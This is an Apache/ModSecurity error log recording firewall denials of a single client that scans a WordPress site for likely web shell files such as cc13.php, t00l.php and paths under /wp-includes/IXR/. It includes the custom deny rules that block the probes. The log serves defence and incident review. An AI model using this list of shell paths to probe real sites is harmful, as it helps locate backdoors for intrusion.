[Sun Mar 01 17:20:47.068036 2026] [:error] [pid 7133:tid 7158] [client 20.151.2.242:61008] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aaQE7_Ctubh8pR64qB_oiwAAAFc"]
[Sun Mar 01 17:20:47.504313 2026] [:error] [pid 7133:tid 7142] [client 20.151.2.242:61067] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaQE7_Ctubh8pR64qB_ojwAAAEc"]
[Sun Mar 01 17:20:47.932945 2026] [:error] [pid 7165:tid 7188] [client 20.151.2.242:60418] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaQE7xRjCrA8qWBjgG92pAAAAlU"]
[Sun Mar 01 17:20:48.571843 2026] [:error] [pid 7165:tid 7179] [client 20.151.2.242:63138] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaQE8BRjCrA8qWBjgG92sQAAAkw"]
[Sun Mar 01 17:20:49.256877 2026] [:error] [pid 7165:tid 7186] [client 20.151.2.242:62752] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaQE8RRjCrA8qWBjgG92uAAAAlM"]
[Sun Mar 01 17:20:49.693672 2026] [:error] [pid 44644:tid 44661] [client 20.151.2.242:62560] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/daff42833e.php"] [unique_id "aaQE8Z3RJaXMcw3y9V_DpQAAAA4"]
[Sun Mar 01 17:20:50.197354 2026] [:error] [pid 7165:tid 7169] [client 20.151.2.242:62835] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/daff42833e.php"] [unique_id "aaQE8hRjCrA8qWBjgG92wAAAAkI"]
[Sun Mar 01 17:20:50.676143 2026] [:error] [pid 7165:tid 7186] [client 20.151.2.242:58636] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/daff42833e.php"] [unique_id "aaQE8hRjCrA8qWBjgG92xQAAAlM"]
[Sun Mar 01 17:20:51.142209 2026] [:error] [pid 38241:tid 38254] [client 20.151.2.242:62555] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/daff42833e.php"] [unique_id "aaQE8_KRPk6YnJBxw_yRLwAAAMo"]
[Sun Mar 01 17:20:51.591735 2026] [:error] [pid 38241:tid 38265] [client 20.151.2.242:63200] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cc13.php"] [unique_id "aaQE8_KRPk6YnJBxw_yROAAAANU"]
[Sun Mar 01 17:20:52.096821 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:62838] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cc13.php"] [unique_id "aaQE9AfBuk03yQKDyqsikQAAAdc"]
[Sun Mar 01 17:20:52.582692 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:63181] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cc13.php"] [unique_id "aaQE9AfBuk03yQKDyqsimwAAAdY"]
[Sun Mar 01 17:20:53.048206 2026] [:error] [pid 38241:tid 38251] [client 20.151.2.242:62566] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cc13.php"] [unique_id "aaQE9fKRPk6YnJBxw_yRRgAAAMc"]
[Sun Mar 01 17:20:53.482366 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:63191] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/V2_xml.php"] [unique_id "aaQE9QfBuk03yQKDyqsisAAAAdc"]
[Sun Mar 01 17:20:53.896459 2026] [:error] [pid 7133:tid 7158] [client 20.151.2.242:61066] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/V2_xml.php"] [unique_id "aaQE9fCtubh8pR64qB_omAAAAFc"]
[Sun Mar 01 17:20:54.513180 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:63124] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/V2_xml.php"] [unique_id "aaQE9gfBuk03yQKDyqsixQAAAdc"]
[Sun Mar 01 17:20:55.002854 2026] [:error] [pid 33822:tid 33831] [client 20.151.2.242:60545] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/V2_xml.php"] [unique_id "aaQE926W3ygu1YVssubegQAAAoc"]
[Sun Mar 01 17:20:55.463881 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:60467] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/bnm.php"] [unique_id "aaQE9wfBuk03yQKDyqsi2AAAAck"]
[Sun Mar 01 17:20:55.894637 2026] [:error] [pid 40750:tid 40756] [client 20.151.2.242:62524] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/bnm.php"] [unique_id "aaQE9wfBuk03yQKDyqsi3gAAAcM"]
[Sun Mar 01 17:20:56.326700 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:62516] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/bnm.php"] [unique_id "aaQE-AfBuk03yQKDyqsi5QAAAcs"]
[Sun Mar 01 17:20:56.786815 2026] [:error] [pid 38034:tid 38037] [client 20.151.2.242:62768] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/bnm.php"] [unique_id "aaQE-AxtfZjwlJok9K_l5QAAAQE"]
[Sun Mar 01 17:20:57.219820 2026] [:error] [pid 7165:tid 7186] [client 20.151.2.242:58666] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ccs.php"] [unique_id "aaQE-RRjCrA8qWBjgG92_gAAAlM"]
[Sun Mar 01 17:20:57.707124 2026] [:error] [pid 7165:tid 7183] [client 20.151.2.242:61054] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ccs.php"] [unique_id "aaQE-RRjCrA8qWBjgG93CAAAAlA"]
[Sun Mar 01 17:20:58.150037 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:62741] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ccs.php"] [unique_id "aaQE-gfBuk03yQKDyqsi6gAAAcA"]
[Sun Mar 01 17:20:58.605708 2026] [:error] [pid 38241:tid 38252] [client 20.151.2.242:62584] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/ccs.php"] [unique_id "aaQE-vKRPk6YnJBxw_yRZAAAAMg"]
[Sun Mar 01 17:20:59.115174 2026] [:error] [pid 38241:tid 38268] [client 20.151.2.242:62751] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/pu8.php"] [unique_id "aaQE-_KRPk6YnJBxw_yRaQAAANg"]
[Sun Mar 01 17:20:59.600128 2026] [:error] [pid 38241:tid 38264] [client 20.151.2.242:61026] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/pu9.php"] [unique_id "aaQE-_KRPk6YnJBxw_yRcQAAANQ"]
[Sun Mar 01 17:21:00.150287 2026] [:error] [pid 7133:tid 7144] [client 20.151.2.242:60571] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/povoy.php"] [unique_id "aaQE_PCtubh8pR64qB_opQAAAEk"]
[Sun Mar 01 17:21:00.702089 2026] [:error] [pid 7133:tid 7155] [client 20.151.2.242:62465] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/t00l.php"] [unique_id "aaQE_PCtubh8pR64qB_orAAAAFQ"]
[Sun Mar 01 17:21:01.259991 2026] [:error] [pid 7165:tid 7191] [client 20.151.2.242:62503] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/rcc8.php"] [unique_id "aaQE_RRjCrA8qWBjgG93IwAAAlg"]
[Sun Mar 01 17:21:01.674111 2026] [:error] [pid 38241:tid 38255] [client 20.151.2.242:62533] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/rcc9.php"] [unique_id "aaQE_fKRPk6YnJBxw_yRewAAAMs"]
[Sun Mar 01 17:21:02.083085 2026] [:error] [pid 38241:tid 38265] [client 20.151.2.242:62728] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xl9.php"] [unique_id "aaQE_vKRPk6YnJBxw_yRfgAAANU"]
[Sun Mar 01 17:21:02.586069 2026] [:error] [pid 33822:tid 33841] [client 20.151.2.242:61058] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/gxoxx.php"] [unique_id "aaQE_m6W3ygu1YVssubejAAAApE"]
[Sun Mar 01 17:21:03.212466 2026] [:error] [pid 7165:tid 7172] [client 20.151.2.242:62828] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/g06akt.php"] [unique_id "aaQE_xRjCrA8qWBjgG93OQAAAkU"]
[Sun Mar 01 17:21:03.766908 2026] [:error] [pid 7165:tid 7186] [client 20.151.2.242:61019] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/add.php"] [unique_id "aaQE_xRjCrA8qWBjgG93QAAAAlM"]
[Sun Mar 01 17:21:04.617566 2026] [:error] [pid 7165:tid 7171] [client 20.151.2.242:60598] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/add.php"] [unique_id "aaQFABRjCrA8qWBjgG93SAAAAkQ"]
[Sun Mar 01 17:21:05.368866 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:60599] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/add.php"] [unique_id "aaQFAQfBuk03yQKDyqsi-wAAAdc"]
[Sun Mar 01 17:21:06.127198 2026] [:error] [pid 40750:tid 40755] [client 20.151.2.242:62794] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/add.php"] [unique_id "aaQFAgfBuk03yQKDyqsjBAAAAcI"]
[Sun Mar 01 17:21:06.939625 2026] [:error] [pid 7165:tid 7180] [client 20.151.2.242:60568] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaQFAhRjCrA8qWBjgG93UwAAAk0"]
[Sun Mar 01 17:21:07.552098 2026] [:error] [pid 41780:tid 41797] [client 20.151.2.242:62564] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaQFA8ONkVoocLIqzy0Z_QAAA84"]
[Sun Mar 01 17:21:08.242163 2026] [:error] [pid 40750:tid 40755] [client 20.151.2.242:60995] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaQFBAfBuk03yQKDyqsjHgAAAcI"]
[Sun Mar 01 17:21:08.945348 2026] [:error] [pid 40750:tid 40759] [client 20.151.2.242:58575] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaQFBAfBuk03yQKDyqsjKAAAAcY"]
[Sun Mar 01 17:21:09.655439 2026] [:error] [pid 38241:tid 38258] [client 20.151.2.242:62504] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup.php"] [unique_id "aaQFBfKRPk6YnJBxw_yRogAAAM4"]
[Sun Mar 01 17:21:10.359853 2026] [:error] [pid 38034:tid 38057] [client 20.151.2.242:62474] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup.php"] [unique_id "aaQFBgxtfZjwlJok9K_l7gAAARM"]
[Sun Mar 01 17:21:10.877972 2026] [:error] [pid 37032:tid 37034] [client 20.151.2.242:62580] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup.php"] [unique_id "aaQFBuu0U4o7eSImsVRfUwAAAYA"]
[Sun Mar 01 17:21:11.328092 2026] [:error] [pid 33822:tid 33828] [client 20.151.2.242:61110] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup.php"] [unique_id "aaQFB26W3ygu1YVssubelgAAAoQ"]
[Sun Mar 01 17:21:12.067299 2026] [:error] [pid 7165:tid 7184] [client 20.151.2.242:62791] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaQFCBRjCrA8qWBjgG93aAAAAlE"]
[Sun Mar 01 17:21:12.734282 2026] [:error] [pid 33822:tid 33837] [client 20.151.2.242:62575] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaQFCG6W3ygu1YVssubemwAAAo0"]
[Sun Mar 01 17:21:13.292789 2026] [:error] [pid 7165:tid 7181] [client 20.151.2.242:61077] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaQFCRRjCrA8qWBjgG93fAAAAk4"]
[Sun Mar 01 17:21:13.837519 2026] [:error] [pid 38241:tid 38268] [client 20.151.2.242:62489] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "aaQFCfKRPk6YnJBxw_yRrAAAANg"]
[Sun Mar 01 17:21:14.332000 2026] [:error] [pid 37032:tid 37047] [client 20.151.2.242:62466] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aaQFCuu0U4o7eSImsVRfVwAAAY0"]
[Sun Mar 01 17:21:15.322919 2026] [:error] [pid 7133:tid 7135] [client 20.151.2.242:63174] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aaQFC_Ctubh8pR64qB_ougAAAEA"]
[Sun Mar 01 17:21:16.186591 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:60596] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aaQFDAfBuk03yQKDyqsjPgAAAdY"]
[Sun Mar 01 17:21:16.669493 2026] [:error] [pid 40750:tid 40760] [client 20.151.2.242:62578] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aaQFDAfBuk03yQKDyqsjRwAAAcc"]
[Sun Mar 01 17:21:17.156805 2026] [:error] [pid 33822:tid 33848] [client 20.151.2.242:60566] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaQFDW6W3ygu1YVssubepQAAApg"]
